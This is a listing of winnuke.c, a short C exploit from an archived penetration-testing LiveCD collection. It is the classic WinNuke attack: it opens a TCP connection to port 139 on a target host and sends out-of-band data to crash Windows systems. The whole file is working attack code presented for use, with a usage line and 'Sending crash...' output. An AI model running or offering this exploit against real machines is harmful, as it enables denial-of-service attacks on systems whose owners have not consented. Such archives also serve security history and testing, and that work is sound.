home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / winnuke.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  75 lines

  1. /*          winnuke.c - (05/07/97)  By _eci    [2000]*/
  2. /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
  3.  
  4. #include <stdio.h>
  5. #include <string.h>
  6. #include <netdb.h>
  7. #include <netinet/in.h>
  8. #include <sys/types.h>
  9. #include <sys/socket.h>
  10. #include <unistd.h>
  11.  
  12. #define dport 139  /* Attack port: 139 is what we want */
  13.  
  14. int x, s;
  15. char *str = "Bye";  /* Makes no diff */
  16. struct sockaddr_in addr, spoofedaddr;
  17. struct hostent *host;
  18.  
  19. int open_sock(int sock, char *server, int port)
  20. {
  21.   struct sockaddr_in blah;
  22.   struct hostent *he;
  23.   bzero((char *)&blah,sizeof(blah));
  24.   blah.sin_family=AF_INET;
  25.   blah.sin_addr.s_addr=inet_addr(server);
  26.   blah.sin_port=htons(port);
  27.  
  28.   if ((he = gethostbyname(server)) != NULL)
  29.     {
  30.       bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
  31.     }
  32.   else
  33.     {
  34.       if ((blah.sin_addr.s_addr = inet_addr(server)) < 0)
  35.         {
  36.           perror("gethostbyname()");
  37.           return(-3);
  38.         }
  39.     }
  40.  
  41.   if (connect(sock,(struct sockaddr *)&blah,16)==-1)
  42.     {
  43.       perror("connect()");
  44.       close(sock);
  45.       return(-4);
  46.     }
  47.   printf("Connected to [%s:%d].\n",server,port);
  48.   return;
  49. }
  50.  
  51.  
  52. void main(int argc, char *argv[])
  53. {
  54.  
  55.   if (argc != 2)
  56.     {
  57.       printf("Usage: %s <target>\n",argv[0]);
  58.       exit(0);
  59.     }
  60.  
  61.   if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  62.     {
  63.       perror("socket()");
  64.       exit(-1);
  65.     }
  66.  
  67.   open_sock(s,argv[1],dport);
  68.  
  69.   printf("Sending crash... ");
  70.   send(s,str,strlen(str),MSG_OOB);
  71.   usleep(100000);
  72.   printf("Done!\n");
  73.   close(s);
  74. }
  75. /*                    www.hack.co.za              [2000]*/